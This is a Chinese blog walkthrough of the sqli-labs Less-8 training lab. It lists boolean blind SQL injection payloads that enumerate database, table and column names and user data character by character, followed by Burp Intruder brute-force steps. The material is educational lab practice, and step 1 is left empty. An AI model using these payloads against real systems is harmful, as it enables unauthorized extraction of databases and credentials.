码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • sqli-labs(less-8)


    目录

     less-8(布尔盲注)手工

    1.判断闭合方式

    2.判断数据库个数

    3.判断第一个数据库字符长度

    4.根据ascii码判断每个库名的具体字符

    5.判断security库中表的个数

    6.判断security库里第一个表名的长度

    7.判断security库里第一个表的第一个字符的ascii值

    8.判断security.users表的字段个数

    9.判断security.users表的第一个字段的长度

    10.判断security.users表的第一个字段的第一个字符的ascii值

    11.判断security.users表有多少行数据

    12.判断user表里的第一行username字段的数据长度

    13.判断user表里的第一行username字段的第一个字符的ascii值

     less-8(布尔盲注)爆破


     less-8(布尔盲注)手工

    1.判断闭合方式

    2.判断数据库个数

    ?id=1' and (select count (schema_name) from information_schema.schemata)=数据库个数(从1开始猜) -- -

    3.判断第一个数据库字符长度

    ?id=1' and (select length(schema_name) from information_schema.schemata limit 0,1)=18 -- -

    4.根据ascii码判断每个库名的具体字符

      ?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 -- - #可以用>和<判断大概位置

    5.判断security库中表的个数

    ?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4-- - 

    6.判断security库里第一个表名的长度

    ?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6 -- -

    7.判断security库里第一个表的第一个字符的ascii值

    ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 -- -

    8.判断security.users表的字段个数

    ?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3-- -

    9.判断security.users表的第一个字段的长度

    ?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2 -- -

    10.判断security.users表的第一个字段的第一个字符的ascii值

    ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105 -- -

    11.判断security.users表有多少行数据

    ?id=1' and (select count(username) from security.users)=13 -- -

    12.判断user表里的第一行username字段的数据长度

    ?id=1' and (select length(username) from security.users limit 0,1)=4 -- -

    13.判断user表里的第一行username字段的第一个字符的ascii值

    ?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68-- -

     less-8(布尔盲注)爆破

    ?id=1' and substr(database(),1,1)='s' -- -

    拦截流量包,右击Send to intruder发送到intruder

    点击clear

    选中字母s,点击add

    点击payloads

    添加a-z,A-Z,0-9

    开始爆破 

    爆破结果

    爆破成功

  • 相关阅读:
    asp.net core mvc之 过滤器
    为什么 wireguard-go 高尚而 boringtun 孬种
    树的性质及其证明
    Android打包脚本和上传apk托管平台
    Xilinx FPGA:vivado用串口控制数码管
    CSS圆形旋转边框
    电子技术基础(三)__第7章 时序逻辑电路_第7篇之解题方法与步骤
    解决表单action属性传参时值为null的问题
    网上复制代码的坑
    手把手带你搭建个人博客系统(一)
  • 原文地址:https://blog.csdn.net/lyshark_lyshark/article/details/126799213
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号